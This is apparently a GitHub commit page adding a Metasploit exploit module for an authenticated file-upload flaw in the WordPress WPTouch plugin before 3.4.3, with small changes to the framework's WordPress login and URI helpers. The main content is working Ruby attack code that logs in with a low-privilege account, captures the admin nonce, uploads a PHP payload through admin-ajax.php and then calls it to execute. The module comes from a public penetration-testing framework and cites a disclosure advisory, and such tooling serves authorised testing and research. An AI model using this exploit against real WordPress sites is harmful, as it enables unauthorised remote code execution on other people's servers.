Skip to content

Commit f8e47a5

Browse files
committed
Land rapid7#3524 - WPTouch fileupload exploit
2 parents e58100f + 29bb788 commit f8e47a5

File tree

3 files changed

+192
-15
lines changed

3 files changed

+192
-15
lines changed

lib/msf/http/wordpress/login.rb

Lines changed: 6 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -15,22 +15,13 @@ def wordpress_login(user, pass)
1515
})
1616

1717
if res and (res.code == 301 or res.code == 302) and res.headers['Location'] == redirect
18-
match = res.get_cookies.match(/(wordpress(?:_sec)?_logged_in_[^=]+=[^;]+);/i)
19-
# return wordpress login cookie
20-
return match[0] if match
21-
22-
# support for older wordpress versions
23-
# Wordpress 2.0
24-
match_user = res.get_cookies.match(/(wordpressuser_[^=]+=[^;]+);/i)
25-
match_pass = res.get_cookies.match(/(wordpresspass_[^=]+=[^;]+);/i)
26-
# return wordpress login cookie
27-
return "#{match_user[0]} #{match_pass[0]}" if (match_user and match_pass)
28-
29-
# Wordpress 2.5
30-
match_2_5 = res.get_cookies.match(/(wordpress_[a-z0-9]+=[^;]+);/i)
31-
# return wordpress login cookie
32-
return match_2_5[0] if match_2_5
18+
cookies = res.get_cookies
19+
# Check if a valid wordpress cookie is returned
20+
return cookies if cookies =~ /wordpress(?:_sec)?_logged_in_[^=]+=[^;]+;/i ||
21+
cookies =~ /wordpress(?:user|pass)_[^=]+=[^;]+;/i ||
22+
cookies =~ /wordpress_[a-z0-9]+=[^;]+;/i
3323
end
24+
3425
return nil
3526
end
3627

lib/msf/http/wordpress/uris.rb

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -66,4 +66,18 @@ def wordpress_url_opml
6666
normalize_uri(target_uri.path, 'wp-links-opml.php')
6767
end
6868

69+
# Returns the Wordpress Backend URL
70+
#
71+
# @return [String] Wordpress Backend URL
72+
def wordpress_url_backend
73+
normalize_uri(target_uri.path, 'wp-admin/')
74+
end
75+
76+
# Returns the Wordpress Admin Ajax URL
77+
#
78+
# @return [String] Wordpress Admin Ajax URL
79+
def wordpress_url_admin_ajax
80+
normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php')
81+
end
82+
6983
end
Lines changed: 172 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,172 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::HTTP::Wordpress
12+
include Msf::Exploit::FileDropper
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Wordpress WPTouch Authenticated File Upload',
17+
'Description' => %q{
18+
The Wordpress WPTouch plugin contains an auhtenticated file upload
19+
vulnerability. A wp-nonce (CSRF token) is created on the backend index
20+
page and the same token is used on handling ajax file uploads through
21+
the plugin. By sending the captured nonce with the upload, we can
22+
upload arbitrary files to the upload folder. Because the plugin also
23+
uses it's own file upload mechanism instead of the wordpress api it's
24+
possible to upload any file type.
25+
The user provided does not need special rights. Also users with "Contributer"
26+
role can be abused.
27+
},
28+
'Author' =>
29+
[
30+
'Marc-Alexandre Montpas', # initial discovery
31+
'Christian Mehlmauer' # metasploit module
32+
],
33+
'License' => MSF_LICENSE,
34+
'References' =>
35+
[
36+
[ 'URL', 'http://blog.sucuri.net/2014/07/disclosure-insecure-nonce-generation-in-wptouch.html' ]
37+
],
38+
'Privileged' => false,
39+
'Platform' => ['php'],
40+
'Arch' => ARCH_PHP,
41+
'Targets' => [ ['wptouch < 3.4.3', {}] ],
42+
'DefaultTarget' => 0,
43+
'DisclosureDate' => 'Jul 14 2014'))
44+
45+
register_options(
46+
[
47+
OptString.new('USER', [true, "A valid username", nil]),
48+
OptString.new('PASSWORD', [true, "Valid password for the provided username", nil]),
49+
], self.class)
50+
end
51+
52+
def user
53+
datastore['USER']
54+
end
55+
56+
def password
57+
datastore['PASSWORD']
58+
end
59+
60+
def check
61+
readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wptouch', 'readme.txt')
62+
res = send_request_cgi({
63+
'uri' => readme_url,
64+
'method' => 'GET'
65+
})
66+
# no readme.txt present
67+
if res.nil? || res.code != 200
68+
return Msf::Exploit::CheckCode::Unknown
69+
end
70+
71+
# try to extract version from readme
72+
# Example line:
73+
# Stable tag: 2.6.6
74+
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
75+
76+
# readme present, but no version number
77+
if version.nil?
78+
return Msf::Exploit::CheckCode::Detected
79+
end
80+
81+
vprint_status("#{peer} - Found version #{version} of the plugin")
82+
83+
if Gem::Version.new(version) < Gem::Version.new('3.4.3')
84+
return Msf::Exploit::CheckCode::Appears
85+
else
86+
return Msf::Exploit::CheckCode::Safe
87+
end
88+
end
89+
90+
def get_nonce(cookie)
91+
res = send_request_cgi({
92+
'uri' => wordpress_url_backend,
93+
'method' => 'GET',
94+
'cookie' => cookie
95+
})
96+
97+
# forward to profile.php or other page?
98+
if res and res.code.to_s =~ /30[0-9]/ and res.headers['Location']
99+
location = res.headers['Location']
100+
print_status("#{peer} - Following redirect to #{location}")
101+
res = send_request_cgi({
102+
'uri' => location,
103+
'method' => 'GET',
104+
'cookie' => cookie
105+
})
106+
end
107+
108+
if res and res.body and res.body =~ /var WPtouchCustom = {[^}]+"admin_nonce":"([a-z0-9]+)"};/
109+
return $1
110+
else
111+
return nil
112+
end
113+
end
114+
115+
def upload_file(cookie, nonce)
116+
filename = "#{rand_text_alpha(10)}.php"
117+
118+
data = Rex::MIME::Message.new
119+
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"myfile\"; filename=\"#{filename}\"")
120+
data.add_part('homescreen_image', nil, nil, 'form-data; name="file_type"')
121+
data.add_part('upload_file', nil, nil, 'form-data; name="action"')
122+
data.add_part('wptouch__foundation__logo_image', nil, nil, 'form-data; name="setting_name"')
123+
data.add_part(nonce, nil, nil, 'form-data; name="wp_nonce"')
124+
post_data = data.to_s
125+
126+
print_status("#{peer} - Uploading payload")
127+
res = send_request_cgi({
128+
'method' => 'POST',
129+
'uri' => wordpress_url_admin_ajax,
130+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
131+
'data' => post_data,
132+
'cookie' => cookie
133+
})
134+
135+
if res and res.code == 200 and res.body and res.body.length > 0
136+
register_files_for_cleanup(filename)
137+
return res.body
138+
end
139+
140+
return nil
141+
end
142+
143+
def exploit
144+
print_status("#{peer} - Trying to login as #{user}")
145+
cookie = wordpress_login(user, password)
146+
if cookie.nil?
147+
print_error("#{peer} - Unable to login as #{user}")
148+
return
149+
end
150+
151+
print_status("#{peer} - Trying to get nonce")
152+
nonce = get_nonce(cookie)
153+
if nonce.nil?
154+
print_error("#{peer} - Can not get nonce after login")
155+
return
156+
end
157+
print_status("#{peer} - Got nonce #{nonce}")
158+
159+
print_status("#{peer} - Trying to upload payload")
160+
file_path = upload_file(cookie, nonce)
161+
if file_path.nil?
162+
print_error("#{peer} - Error uploading file")
163+
return
164+
end
165+
166+
print_status("#{peer} - Calling uploaded file #{file_path}")
167+
res = send_request_cgi({
168+
'uri' => file_path,
169+
'method' => 'GET'
170+
})
171+
end
172+
end

0 commit comments

Comments
 (0)